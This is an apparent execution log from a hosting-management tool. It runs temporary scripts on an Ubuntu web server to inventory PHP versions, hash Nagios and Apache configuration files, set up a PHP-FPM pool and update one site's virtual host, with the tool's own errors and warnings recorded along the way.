	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-25 17:59:11: 

chmod 755 /tmp/pkp396866; /tmp/pkp396866; rm /tmp/pkp396866

2026-04-25 17:59:12: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-04-25 17:59:12: 

PUT: /tmp/pkp686383

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-25 17:59:12: 

chmod 755 /tmp/pkp686383; /tmp/pkp686383; rm /tmp/pkp686383

2026-04-25 17:59:12: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-04-25 17:59:12: 

PUT: /tmp/pkp968381

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-25 17:59:12: 

chmod 755 /tmp/pkp968381; /tmp/pkp968381; rm /tmp/pkp968381

2026-04-25 17:59:12: 


status=ok


2026-04-25 17:59:12: 

PUT: /tmp/pkp768781

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 17:59:12: 

chmod 755 /tmp/pkp768781; /tmp/pkp768781; rm /tmp/pkp768781

2026-04-25 17:59:12: 
2026-04-25 17:59:12: 

PUT: /tmp/pkp750560

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 17:59:12: 

chmod 755 /tmp/pkp750560; /tmp/pkp750560; rm /tmp/pkp750560

2026-04-25 17:59:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	502

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 8a5bdf447271bd10324a6ca5827ff3fd
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= ab0e8d5628e8f0c5c2abaec0e917b256
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= adc4cf2817a357771b74d0d2ff7cfbc4
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp768781:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-25 17:59:12: 

PUT: /tmp/pkp601147

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-25 17:59:12: 

chmod 755 /tmp/pkp601147; /tmp/pkp601147; rm /tmp/pkp601147

2026-04-25 17:59:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-04-25 17:59:12: 



2026-04-25 17:59:12: 




2026-04-25 17:59:12: 

PUT: /tmp/pkp107945

#!/bin/bash
temp_file=$(mktemp)
pool=
cat > $temp_file <<'endmsg'
[phil]
user = phil
group = phil
listen = /var/run/php8.4-phil.sock
listen.owner = phil
listen.group = phil
listen.mode = 0660

pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3

endmsg

cp -f $temp_file $pool/phil.conf
rm $temp_file
echo OK


2026-04-25 17:59:12: 

chmod 755 /tmp/pkp107945; /tmp/pkp107945; rm /tmp/pkp107945

2026-04-25 17:59:12: 


OK


2026-04-25 17:59:12: 

systemctl Start php8.4-php-fpm

2026-04-25 17:59:12: 






STDERR:
Unknown command verb 'Start', did you mean 'start'?


2026-04-25 17:59:12: 

PUT: /tmp/pkp107426

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-04-25 17:59:12: 

chmod 755 /tmp/pkp107426; /tmp/pkp107426; rm /tmp/pkp107426

2026-04-25 17:59:12: 




2026-04-25 17:59:12: 

PUT: /tmp/pkp880406

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-25 17:59:12: 

chmod 755 /tmp/pkp880406; /tmp/pkp880406; rm /tmp/pkp880406

2026-04-25 17:59:13: 


.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-25 17:59:13: Performing Server Status
2026-04-25 17:59:13: 

PUT: /tmp/pkp106957

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-25 17:59:13: 

chmod 755 /tmp/pkp106957; /tmp/pkp106957; rm /tmp/pkp106957

2026-04-25 17:59:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
